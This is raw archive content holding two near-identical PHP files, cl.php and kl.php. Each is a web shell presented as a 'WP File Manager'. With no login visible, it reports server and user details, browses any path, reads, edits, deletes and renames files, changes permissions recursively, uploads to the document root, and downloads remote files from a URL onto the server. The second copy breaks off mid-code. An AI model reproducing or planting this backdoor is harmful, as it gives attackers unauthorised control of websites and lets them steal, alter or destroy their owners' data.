PK“&{]„N9³§Ë§Ëfinance@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëfinance@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
